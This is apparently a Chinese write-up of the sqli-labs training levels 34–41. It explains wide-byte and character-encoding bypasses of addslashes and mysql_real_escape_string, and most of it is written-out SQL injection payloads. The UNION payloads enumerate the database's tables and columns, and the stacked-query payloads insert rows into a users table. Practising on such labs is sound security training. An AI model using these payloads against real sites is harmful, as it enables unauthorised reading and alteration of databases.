less 34 汉
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检
第三十三关发现了眼熟的反斜杠,于是我们再次利用之前讲到的%df,发现并没有效果,这里其实是因为%df是url编码,在这里我们可以通过汉字的方式去绕,和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
 
汉'union select 1,database() -- qwe
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- q
 
less 35
还是‘ 转义 但这个题单纯迷惑你 用不着’ 数字型注入
?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 4--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
 
less 36
这一题其实跟前面的题目是差不多的,发现我们输入的引号被转义掉了,我们还是可以利用以前的方法绕过,区别是他们源码中利用到的函数不同。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ' " \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
/?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),version()--+
/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
less 37
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
汉' union select 1,2--+
汉' union select database(),version()--+
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- qwe
汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- q
less 38 堆叠注入
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。 堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句)
1
?id=1' and '1'='1 正常
?id=1' and '1'='2 不正常
?id=1' order by 4--+
?id=-1' union select 1,database(),version()--+
2
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。需要注意的是:多条用分号分隔的SQL语句中,只要有一条SQL语句执行失败,那么这一条SQL语句以及之后的SQL语句就不会执行。
只有当第一条SQL语句执行失败,那么multi_query()的返回值才为false。如果第一条SQL语句执行成功了,那么都会返回true。
堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句
语法:mysqli_multi_query(connection,query);
/?id=1' ;insert into users(id,username,password) values ('36','36','hello')--+
less 39
和上面一样 不过是前面引号发生变化
?id=1
?id=1;insert into users(id,username,password) values ('66','66','hello')--+
 
less 40
和上面一样
可知 为堆叠注入 1')
?id=1');insert into users(id,username,password) values ('666','666','hahahahahaha')--+
 
less 41
和上面一样
可知 为堆叠注入 整数型
?id=1;insert into users(id,username,password) values ('88','hd','hahahahahaha......')--+
 
 

sql-labs less34--less41的更多相关文章

  1. SQL Labs刷题补坑记录(less31-less53)

    LESS31: 双引号直接报错,那么肯定可以报错注入,并且也过滤了一些东西,^异或没有过滤,异或真香 -1" and (if(length(database())=8,1,0)) and & ...

  2. SQL Labs刷题补坑记录(less1-less30)

    补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...

  3. SQL Labs刷题补坑记录(less54-less65)

    LESS54: 只有10次尝试,dump处secret key 直接union 查就可以,括号为单引号闭合 LESS55: 尝试出来闭合的方式为)括号,后面操作与54相同 LESS56: 尝试出来括号 ...

  4. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  5. HANA SQL

    约束 注释 你可以给你的 SQL 语句添加注释来增加可读性和可维护性. SQL 语句中注释的分隔如下: l  双连字符“--”.所有在双连字符之后直到行尾的内容都被 SQL 解析器认为是注释. l  ...

  6. 搭建sql注入实验环境(基于windows)

    搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...

  7. Natas Wargame Level 16 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAqwAAADhCAYAAAANm+erAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  8. Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAq4AAACGCAYAAAAcnwh0AAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. 关键aspNetCore processPath 这一行,耗费了一天

    <?xml version="1.0" encoding="UTF-8"?> <configuration>   <locatio ...

  2. pycharm 连接 docker容器

    1.ubuntu 18.04 先安装sudo apt-get install openssh-server 2.修改" /etc/ssh/sshd_config" 改成 Permi ...

  3. P5731 蛇形方阵

    P5731 [深基5.习6]蛇形方阵 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) //为什么用动态二维数组 --->To play to user's input, but ...

  4. Zebra GT800标签打印机打印时脱机并亮红灯的故障处理

    Zebra GT800标签打印机打印时脱机并亮红灯的故障处理 打印测试正常,所有设置都正常,驱动原厂的,打印时只打印一点头,把所有的东西都测试了,花了1天半时间,该摸到的点都测了一般,甚至打算把这款打 ...

  5. 从零搭建hadoop集群之zookeeper集群安装

    1. 从官方渠道获取对应的zookeeper的安装包 http://archive.apache.org/dist/zookeeper/ zookeeper-3.4.10.tar.g 2. 上传zoo ...

  6. leedcode题目 :罗马数字转整数 Java

    罗马数字包含以下七种字符: I, V, X, L,C,D 和 M. 例如, 罗马数字 2 写做 II ,即为两个并列的 1.12 写做 XII ,即为 X + II . 27 写做  XXVII, 即 ...

  7. SpringBoot中自动生成实体类及mapper

    参考博客: https://blog.csdn.net/qq_35387940/article/details/125777457 1.准备好数据库和表 mysql在windows环境下安装参考: h ...

  8. R6-1 数字金字塔

    1 void pyramid(int n) 2 { 3 int i, j; 4 5 for(i = 0;i < n;i++){ 6 for(j = 0;j < n - i - 1;j++) ...

  9. 离线谷歌地图API的开发笔记(二)

    一.地图引擎介绍 离线地图引擎运行在WINDOWS平台上,底层由Visual c++语言开发,编译为OCX插件方式.占用文件少,便于二次开发的快速安装部署. 具有专业地图的基础操作功能:地图放大.缩小 ...

  10. Python下使用argparse模块的脚本参数配置

    python的一个用于命令行参数解析的模块,其专业解释已经有很多了,可以去详查,不做赘述,仅谈谈自己的一些理解. 为什么要用argparse模块来为代码导入参数或者文件路径呢?如果是一个简单的项目,输 ...